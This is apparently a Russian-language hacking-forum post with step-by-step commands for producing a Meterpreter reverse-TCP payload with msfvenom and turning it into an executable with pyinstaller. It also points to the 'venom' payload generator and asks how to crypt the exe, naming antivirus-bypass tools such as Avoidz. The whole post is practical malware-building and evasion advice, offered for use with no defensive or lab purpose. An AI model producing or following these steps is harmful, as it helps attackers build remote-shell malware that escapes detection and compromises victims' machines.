Пришлось съимитировать такую ошибку у себя.Скорее всего какие-то параметры указаны были неверно (отступы,возможно)

Расскажу,как иногда это делаю.
Сразу оговорюсь,что py2exe не пользовался.
Если кто желает переквалифицировать py в exe после полиморфного чудовища из темы,
то это плохая идея.

Использую для таких целей pyinstaller.
1.Готовлю файл py c помощью msfvenom
Например,даже без указания цели:
msfvenom --payload=python/meterpreter/reverse_tcp --out=solomon.py
Готово,этот файл можно будет найти по пути cd-ls-solomon.py

2.Для удобства можно скопировать в директорию test (к примеру) на рабочем столе.
#cd, #ls, #cp solomon.py /root/Рабочий\ стол/test

3.# rm -rf solomon.py (нечего мусорить лишний раз)
4.Захожу в директорию test и работаю с pyinstaller
cd /root/Рабочий\ стол/test/
ls - видим наш solomon.py
Теперь pyinstaller solomon.py

5.Всё,он сам сделает требуемое.И это без дополнительных опций (сжатие и т.д)
В директории test создадутся ещё 2 директории build и dist
В них можно найти файлы без расширения solomon
Это и есть экзешники.

Иногда использую вот такую красоту.На Kali Работает,тоже предлагает форматы.
https://github.com/r00t-3xp10it/venom.git
Вопрос следующий в том,как ещё и закриптовать в exe-формате.
Avoidz из таких инструментов,можно ещё много нарыть на форуме по бай-пасам.